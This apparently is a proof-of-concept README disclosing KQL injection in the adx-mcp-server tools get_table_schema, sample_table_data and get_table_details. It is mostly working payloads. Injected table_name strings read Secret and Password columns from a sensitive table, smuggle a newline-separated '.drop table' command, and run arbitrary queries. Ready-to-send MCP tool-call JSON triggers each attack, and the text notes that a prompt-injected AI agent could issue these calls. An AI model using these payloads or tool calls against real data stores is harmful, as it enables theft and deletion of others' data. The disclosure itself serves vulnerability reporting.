README.md
Rendering markdown...
"""
PoC: KQL Injection via table_name in adx-mcp-server (pab1it0/adx-mcp-server)
Vulnerability: Multiple MCP tools in adx-mcp-server inject the `table_name`
parameter directly into KQL (Kusto Query Language) queries without sanitization.
Affected tools:
- get_table_schema: f"{table_name} | getschema"
- sample_table_data: f"{table_name} | sample {sample_size}"
- get_table_details: f".show table {table_name} details"
KQL allows chaining operators with '|' and executing management commands with '.'.
An attacker (or a prompt-injected AI agent) can inject arbitrary KQL.
File: src/adx_mcp_server/server.py (lines 228, 248, 268)
"""
import json
# --- PoC 1: Data Exfiltration via get_table_schema ---
# Instead of just getting the schema of a table, the attacker reads from another table
malicious_table_name_exfil = "sensitive_data | project Secret, Password | take 100 //getschema"
# Resulting KQL: "sensitive_data | project Secret, Password | take 100 //getschema | getschema"
# The // comments out "| getschema", so the actual query reads sensitive_data columns
print("=== PoC 1: Data Exfiltration via get_table_schema ===")
print(f"Malicious table_name: {malicious_table_name_exfil!r}")
query = f"{malicious_table_name_exfil} | getschema"
print(f"Resulting KQL: {query}")
print()
# --- PoC 2: Destructive command via get_table_details ---
# .show table ... details becomes a management command to drop data
malicious_table_name_drop = "users details\n.drop table users"
# Resulting KQL: ".show table users details\n.drop table users details"
print("=== PoC 2: Destructive Command via get_table_details ===")
print(f"Malicious table_name: {malicious_table_name_drop!r}")
query2 = f".show table {malicious_table_name_drop} details"
print(f"Resulting KQL:\n{query2}")
print()
# --- PoC 3: Arbitrary query execution via sample_table_data ---
malicious_table_name_arb = "StormEvents | where EventType == 'Tornado' | summarize count() by State | order by count_ desc //sample"
# The // comments out the rest
print("=== PoC 3: Arbitrary Query via sample_table_data ===")
print(f"Malicious table_name: {malicious_table_name_arb!r}")
query3 = f"{malicious_table_name_arb} | sample 10"
print(f"Resulting KQL: {query3}")
print()
# --- MCP Tool Call Examples ---
print("=== MCP Tool Call to Trigger (get_table_schema) ===")
tool_call = {
"name": "get_table_schema",
"arguments": {
"table_name": "sensitive_data | project Secret, Password | take 100 //"
}
}
print(json.dumps(tool_call, indent=2))
print()
print("=== MCP Tool Call to Trigger (get_table_details) ===")
tool_call2 = {
"name": "get_table_details",
"arguments": {
"table_name": "users details\n.drop table important_data"
}
}
print(json.dumps(tool_call2, indent=2))